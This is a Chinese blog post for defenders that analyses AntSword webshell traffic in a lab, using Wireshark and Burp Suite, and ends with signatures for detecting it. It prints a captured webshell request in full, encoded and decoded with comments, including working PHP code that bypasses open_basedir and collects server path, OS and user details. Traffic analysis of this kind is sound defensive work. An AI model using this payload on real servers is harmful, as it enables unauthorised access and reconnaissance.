君衍.
- 一、Webshell特征流量分析
- 二、环境介绍
- 三、使用Wireshark进行流量分析
- 1、环境说明
- 2、HTTP追踪流分析
- 3、蚁剑请求体中代码块解读
- 四、使用BurpSurite进行流量分析
- 1、环境配置
- 2、抓包分析
- 六、总结
一、Webshell特征流量分析
对于重保、护网等攻防演练的防守方来说,流量分析的能力需要具备,所以本篇从webshell不同工具的不同特征进行分析来进行学习。
流量特征分析工具及对比:
wireshark
:可以详细分析具体的数据包,比如从OSI七层、TCP四层每层协议等数据包都可以进行分析。burpsurite
:仅针对HTTP、HTTPS数据包进行抓包,分析,具备渗透测试部分功能,比如重放、编解码等等。
以及对于webshell利用的应急流程:从webshell是何时被部署的、又是通过什么漏洞打进来的、同时webshell的存放位置以及通过提取文件中的key密码为连接密码32位md5值得前16位作为AES得解密密钥,最后对流量进行解密以及还原所有流量进行回溯,这一流程需要明白。
二、环境介绍
首先,我使用的靶场是upload-labs靶场:
搭建在VMware上,使用的网络模式是NAT模式,网口自然是VMnet8:
之所以看以上内容是因为wireshark的抓包网卡需要进行更改:
之后我使用wireshark进行流量分析时,将抓取的网卡设置为net8即可。当然,如果靶场部署在云端,我们自然使用wlan的网卡进行抓取分析,需要根据实际情况而定。
当然,我们对蚁剑流量进行分析,自然需要下好蚁剑,安装好Burpsurite之后需要配置代理进行抓包查看。后面抓取的时候分析。
一句话木马木马已经写入php文件中,之后完成上传即可。
三、使用Wireshark进行流量分析
1、环境说明
已经将木马文件上传完毕,同时使用蚁剑添加了数据,测试连接成功。
我们打开wireshark进行抓包,之后蚁剑完成连接:
下面我们仔细分析这几个数据包:
可以看到1,4,5数据包为TCP的三次握手的数据包,10-13为TCP四次挥手的数据包。
同时数据报6为TCP在传输消息时,对于应用层可能出于超过MSS而导致不能一次包含全部应用层的PDU,将完整的消息分为了多段,所以会在除了最后一个分段,剩下都打上TCP segment of a reassembled PDU。
报文7与报文9则是HTTP的请求与响应包,中间则为TCP的确认机制ACK包。
当一个完整消息被分割成多个TCP segment 时,在能识别运行在TCP之上的应用层协议前提下,wireshark为了能标识出哪些TCP segment需要被重新组装(reassembled),从而将除了最后一个的其他segment都打上“TCP segment of a reassembled PDU”。
所以这里我们进行流量分析主要分析报文7请求包以及报文9相应包。
2、HTTP追踪流分析
我们这里直接查看TCP追踪流:
数据包内容如下:
POST /upload/upload/1.php HTTP/1.1
Host: 192.168.217.143
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 1797
Connection: close
zyan=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.0ac4da9ca%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22f9b9d%22.%22abb3d6%22%3Becho%20%40asenc(%24output)%3Becho%20%22c84a1%22.%225b471%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3BHTTP/1.1 200 OK
Date: Wed, 05 Jun 2024 14:06:51 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
9df9b9dabb3d6C:/phpstudy_pro/WWW/upload/upload C: Windows NT WINDOWS-7 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) AMD64 Administratorc84a15b4710
以上内容的解读:
POST /upload/upload/1.php HTTP/1.1
: 通过 POST 方法发送到 /upload/upload/1.php 的请求。Host: 192.168.217.143
: 请求的主机地址为 192.168.217.143。Accept-Encoding: gzip, deflate
: 请求头中表明接受的编码方式。User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
: 请求的用户代理是 Safari。Content-Type: application/x-www-form-urlencoded
: 表明请求体的内容类型是 URL 编码的表单数据。Content-Length: 1797
: 请求体的长度为 1797 字节。Connection: close
: 请求结束后立即关闭连接,不缓存。
接着中间这一长串则是经过URL编码过的PHP代码,解码之后如下:
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){continue;};
$tmdir=$item."/0ac4da9ca";
@mkdir($tmdir);
if(!@file_exists($tmdir)){continue;}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};;
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
ob_start();
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
}catch(Exception $e){echo "ERROR://".$e->getMessage();}
asoutput();
die();
?>
(代码解读往下滑)
后面则是一段服务器的响应头以及响应体:
HTTP/1.1 200 OK
: 服务器成功响应请求。Date: Wed, 05 Jun 2024 14:06:51 GMT
: 响应的日期时间。Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
: 服务器信息。X-Powered-By: PHP/7.3.4
: 使用的 PHP 版本。Connection: close
: 连接关闭。Transfer-Encoding: chunked
: 响应体采用分块传输编码。Content-Type: text/html; charset=UTF-8
: 响应内容类型为 HTML。- 响应体则包含路径以及系统信息等内容。
其中我们还需观察到木马连接的密码则是zyan。
3、蚁剑请求体中代码块解读
这里我直接放入注释里面解读,因为从上面HTTP追踪流可以看到请求结果有路径,系统信息以及用户名称等内容。所以我们可以简单看下蚁剑的PHP代码:
<?php
// 禁止显示错误信息
@ini_set("display_errors", "0");
// 设置脚本执行时间不限制
@set_time_limit(0);
// 获取 PHP 配置中的 open_basedir 值
$opdir=@ini_get("open_basedir");
if($opdir) {
// 获取当前脚本所在目录
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
// 使用 base64 解码后进行拆分
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
// 将当前目录和系统临时目录添加到数组中
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
// 如果目录不可写,则继续循环
if(!@is_writable($item)){continue;};
// 创建一个临时目录
$tmdir=$item."/0ac4da9ca";
@mkdir($tmdir);
// 如果目录不存在,则继续循环
if(!@file_exists($tmdir)){continue;}
// 获取临时目录的绝对路径
$tmdir=realpath($tmdir);
// 进入临时目录
@chdir($tmdir);
// 修改 open_basedir 为上一级目录
@ini_set("open_basedir", "..");
// 将路径按斜杠分隔成数组
$cntarr=@preg_split("/\\\\|\\//",$tmdir);
// 循环返回上级目录,直到根目录
for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
// 恢复 open_basedir 为根目录
@ini_set("open_basedir","/");
// 删除临时目录
@rmdir($tmdir);
break;
};
};
// 定义函数 asenc,无实际操作,直接返回输入
function asenc($out){return $out;};
// 定义函数 asoutput,将输出内容进行一些处理后输出
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
// 开始输出缓冲区
ob_start();
try{
// 获取当前脚本所在目录
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
// 如果为空,则获取当前路径的上一级目录
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
// 将当前目录信息存入变量 $R
$R="{$D} ";
// 如果路径不是绝对路径,则循环遍历 A 到 Z 盘符,获取可用盘符
if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
// 添加分隔符和系统信息
$R.=" ";
// 获取当前用户信息
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
// 添加系统信息和当前用户信息到变量 $R
$R.=php_uname();
$R.=" {$s}";
// 输出变量 $R
echo $R;
}catch(Exception $e){
// 如果出现异常,则输出错误信息
echo "ERROR://".$e->getMessage();
}
// 输出经过处理的内容
asoutput();
// 结束脚本
die();
?>
四、使用BurpSurite进行流量分析
1、环境配置
这里依旧是将木马已经上传入虚拟机,我们可以直接使用蚁剑进行连接。但是Burp抓包我们需要在蚁剑上配置代理,所以首先需要配置代理,代理到Burp上。
我们可以看到Burp的监听端口是8080,下面在蚁剑上进行配置:
首先点击左上角AntSword,点击系统设置,然后找到代理设置更改为手动设置代理,接着将代理IP以及端口配置完毕即可。
即可配置成功。
2、抓包分析
接着我们打开BP拦截,使用蚁剑进行访问:
即可完成拦截,接着我们发送到重发器来进行查看:
将蚁剑请求包发送,观察响应包:
经过观察即可发现,与wireshark抓到的一致,同样是回显路径、系统信息以及用户名称。
具体流量分析过程以及解读见上面wireshark的HTTP追踪流解读即可。
六、总结
蚁剑的明显特征:(实战辨别还需网端结合进行甄别)
- 1、使用URL编解码;
- 2、每个数据包前面都会包含
@ini_set("display_errors", "0");@set_time_limit(0);
这两个语句; - 3、响应包都是明文。